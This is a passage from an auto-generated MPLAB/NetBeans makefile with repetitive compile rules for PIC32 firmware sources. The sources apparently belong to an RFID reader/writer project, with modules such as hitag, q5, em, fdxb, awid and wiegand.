nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/wiegand.o.d \n\t@${RM} ${OBJECTDIR}/src/wiegand.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/wiegand.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/wiegand.o.d\" -o ${OBJECTDIR}/src/wiegand.o src/wiegand.c     \n\t\n${OBJECTDIR}/src/comms.o: src/comms.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/comms.o.d \n\t@${RM} ${OBJECTDIR}/src/comms.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/comms.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/comms.o.d\" -o ${OBJECTDIR}/src/comms.o src/comms.c     \n\t\n${OBJECTDIR}/src/nvm.o: src/nvm.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/nvm.o.d \n\t@${RM} ${OBJECTDIR}/src/nvm.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/nvm.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/nvm.o.d\" -o ${OBJECTDIR}/src/nvm.o src/nvm.c     \n\t\n${OBJECTDIR}/src/mcp414x.o: src/mcp414x.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/mcp414x.o.d \n\t@${RM} ${OBJECTDIR}/src/mcp414x.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/mcp414x.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/mcp414x.o.d\" -o ${OBJECTDIR}/src/mcp414x.o src/mcp414x.c     \n\t\n${OBJECTDIR}/src/spi.o: src/spi.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/spi.o.d \n\t@${RM} ${OBJECTDIR}/src/spi.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/spi.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/spi.o.d\" -o ${OBJECTDIR}/src/spi.o src/spi.c     \n\t\n${OBJECTDIR}/src/uart3.o: src/uart3.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/uart3.o.d \n\t@${RM} ${OBJECTDIR}/src/uart3.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/uart3.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/uart3.o.d\" -o ${OBJECTDIR}/src/uart3.o src/uart3.c     \n\t\n${OBJECTDIR}/src/tags.o: src/tags.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/tags.o.d \n\t@${RM} ${OBJECTDIR}/src/tags.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/tags.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/tags.o.d\" -o ${OBJECTDIR}/src/tags.o src/tags.c     \n\t\n${OBJECTDIR}/src/unique.o: src/unique.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/unique.o.d \n\t@${RM} ${OBJECTDIR}/src/unique.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/unique.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/unique.o.d\" -o ${OBJECTDIR}/src/unique.o src/unique.c     \n\t\n${OBJECTDIR}/src/led.o: src/led.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/led.o.d \n\t@${RM} ${OBJECTDIR}/src/led.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/led.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/led.o.d\" -o ${OBJECTDIR}/src/led.o src/led.c     \n\t\n${OBJECTDIR}/src/em.o: src/em.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/em.o.d \n\t@${RM} ${OBJECTDIR}/src/em.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/em.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/em.o.d\" -o ${OBJECTDIR}/src/em.o src/em.c     \n\t\n${OBJECTDIR}/src/hid.o: src/hid.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/hid.o.d \n\t@${RM} ${OBJECTDIR}/src/hid.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/hid.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/hid.o.d\" -o ${OBJECTDIR}/src/hid.o src/hid.c     \n\t\n${OBJECTDIR}/src/read.o: src/read.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/read.o.d \n\t@${RM} ${OBJECTDIR}/src/read.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/read.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/read.o.d\" -o ${OBJECTDIR}/src/read.o src/read.c     \n\t\n${OBJECTDIR}/src/isr.o: src/isr.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/isr.o.d \n\t@${RM} ${OBJECTDIR}/src/isr.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/isr.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/isr.o.d\" -o ${OBJECTDIR}/src/isr.o src/isr.c     \n\t\n${OBJECTDIR}/src/auto.o: src/auto.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/auto.o.d \n\t@${RM} ${OBJECTDIR}/src/auto.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/auto.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/auto.o.d\" -o ${OBJECTDIR}/src/auto.o src/auto.c     \n\t\n${OBJECTDIR}/src/fdxb.o: src/fdxb.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/fdxb.o.d \n\t@${RM} ${OBJECTDIR}/src/fdxb.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/fdxb.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/fdxb.o.d\" -o ${OBJECTDIR}/src/fdxb.o src/fdxb.c     \n\t\n${OBJECTDIR}/src/hitag.o: src/hitag.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/hitag.o.d \n\t@${RM} ${OBJECTDIR}/src/hitag.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/hitag.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/hitag.o.d\" -o ${OBJECTDIR}/src/hitag.o src/hitag.c     \n\t\n${OBJECTDIR}/src/uid.o: src/uid.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/uid.o.d \n\t@${RM} ${OBJECTDIR}/src/uid.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/uid.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/uid.o.d\" -o ${OBJECTDIR}/src/uid.o src/uid.c     \n\t\n${OBJECTDIR}/src/login.o: src/login.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/login.o.d \n\t@${RM} ${OBJECTDIR}/src/login.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/login.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/login.o.d\" -o ${OBJECTDIR}/src/login.o src/login.c     \n\t\n${OBJECTDIR}/src/write.o: src/write.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/write.o.d \n\t@${RM} ${OBJECTDIR}/src/write.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/write.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/write.o.d\" -o ${OBJECTDIR}/src/write.o src/write.c     \n\t\n${OBJECTDIR}/src/auth.o: src/auth.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/auth.o.d \n\t@${RM} ${OBJECTDIR}/src/auth.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/auth.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/auth.o.d\" -o ${OBJECTDIR}/src/auth.o src/auth.c     \n\t\n${OBJECTDIR}/src/q5.o: src/q5.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/q5.o.d \n\t@${RM} ${OBJECTDIR}/src/q5.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/q5.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/q5.o.d\" -o ${OBJECTDIR}/src/q5.o src/q5.c     \n\t\n${OBJECTDIR}/src/vtag.o: src/vtag.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/vtag.o.d \n\t@${RM} ${OBJECTDIR}/src/vtag.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/vtag.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/vtag.o.d\" -o ${OBJECTDIR}/src/vtag.o src/vtag.c     \n\t\n${OBJECTDIR}/src/config.o: src/config.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/config.o.d \n\t@${RM} ${OBJECTDIR}/src/config.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/config.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/config.o.d\" -o ${OBJECTDIR}/src/config.o src/config.c     \n\t\n${OBJECTDIR}/src/select.o: src/select.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/select.o.d \n\t@${RM} ${OBJECTDIR}/src/select.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/select.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/select.o.d\" -o ${OBJECTDIR}/src/select.o src/select.c     \n\t\n${OBJECTDIR}/src/sdcard.o: src/sdcard.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/sdcard.o.d \n\t@${RM} ${OBJECTDIR}/src/sdcard.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/sdcard.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/sdcard.o.d\" -o ${OBJECTDIR}/src/sdcard.o src/sdcard.c     \n\t\n${OBJECTDIR}/src/debug_pins.o: src/debug_pins.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/debug_pins.o.d \n\t@${RM} ${OBJECTDIR}/src/debug_pins.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/debug_pins.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/debug_pins.o.d\" -o ${OBJECTDIR}/src/debug_pins.o src/debug_pins.c     \n\t\n${OBJECTDIR}/src/awid.o: src/awid.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/awid.o.d \n\t@${RM} ${OBJECTDIR}/src/awid.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/awid.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/awid.o.d\" -o ${OBJECTDIR}/src/awid.o src/awid.c     \n\t\n${OBJECTDIR}/src/analogue.o: src/analogue.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/analogue.o.d \n\t@${RM} ${OBJECTDIR}/src/analogue.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/analogue.o.d\" $(SILENT) -rsi 